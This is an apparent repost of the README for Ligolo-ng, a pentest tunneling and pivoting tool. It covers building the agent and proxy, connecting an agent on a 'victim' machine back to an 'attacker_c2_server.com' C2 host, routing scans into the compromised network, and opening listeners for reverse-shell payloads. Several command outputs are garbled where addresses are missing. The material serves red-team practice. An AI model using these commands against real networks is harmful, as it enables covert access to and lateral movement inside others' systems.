Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

An advanced, yet simple, tunneling tool that uses a TUN interface.

by TNP IT Security


Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection without the need of SOCKS.

  • Tun interface (No more SOCKS!)
  • Simple UI with agent selection and network information
  • Easy to use and setup
  • Automatic certificate configuration with Let's Encrypt
  • Performant (Multiplexing)
  • Does not require high privileges
  • Socket listening/binding on the agent
  • Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

  • SYN are translated to connect() on remote
  • SYN-ACK is sent back if connect() succeed
  • RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
  • Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Building Ligolo-ng

Building ligolo-ng:

$ go build -o agent cmd/agent/main.go$ go build -o proxy cmd/proxy/main.go# Build agent for Windows$ GOOS=windows go build -o agent.exe cmd/agent/main.go

Setup Ligolo-ng

Start the proxy server on your Command and Control (C2) server (default 11601 listening will be use):

$ sudo ip tuntap add user [your_username] mode tun ligolo$ sudo ip link set ligolo up$ ./proxy -h # Help options$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. [email protected] remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session ? Specify a session : 1 - [email protected] - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : [email protected]] » ifconfig [...]┌─────────────────────────────────────────────┐│ Interface 3                                 │├──────────────┬──────────────────────────────┤│ Name         │ wlp3s0                       ││ Hardware MAC │ de:ad:be:ef:ca:fe            ││ MTU          │ 1500                         ││ Flags        │ up|broadcast|multicast       ││ IPv4 Address │             │└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the agent network.

$ sudo ip route add dev ligolo

Start the tunnel on the proxy:

[Agent : [email protected]] » start[Agent : [email protected]] » INFO[0690] Starting tunnel to [email protected]   

You can now access the agent network from the proxy server.

$ nmap -v -sV -n[...]$ rdesktop[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent ( and redirect connections to the 4321 port of the proxy server.

[Agent : [email protected]] » listener_add --addr --to --tcpINFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : [email protected]] » listener_list ┌───────────────────────────────────────────────────────────────────────────────┐│ Active listeners                                                              │├───┬─────────────────────────┬────────────────────────┬────────────────────────┤│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │├───┼─────────────────────────┼────────────────────────┼────────────────────────┤│ 0 │ [email protected] │           │         │└───┴─────────────────────────┴────────────────────────┴────────────────────────┘[Agent : [email protected]] » listener_stop 0INFO[1505] Listener closed.                             


Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets
  • TCP
  • UDP
  • ICMP (echo requests)


You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c -p 24483Connecting to host, port 24483[  5] local port 50654 connected to port 24483[ ID] Interval           Transfer     Bitrate         Retr  Cwnd[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       [  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       [  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       [  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       [  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       [  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       [  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       [  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       [  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       [  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       - - - - - - - - - - - - - - - - - - - - - - - - -[ ID] Interval           Transfer     Bitrate         Retr[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver


Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

  • Implement other ICMP error messages (this will speed up UDP scans) ;
  • Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
  • Implement multi-platform proxy ;
  • Add mTLS support.

  • Nicolas Chatelain <nicolas.chatelain -at- tnpconsultants.com>

Disqus Comments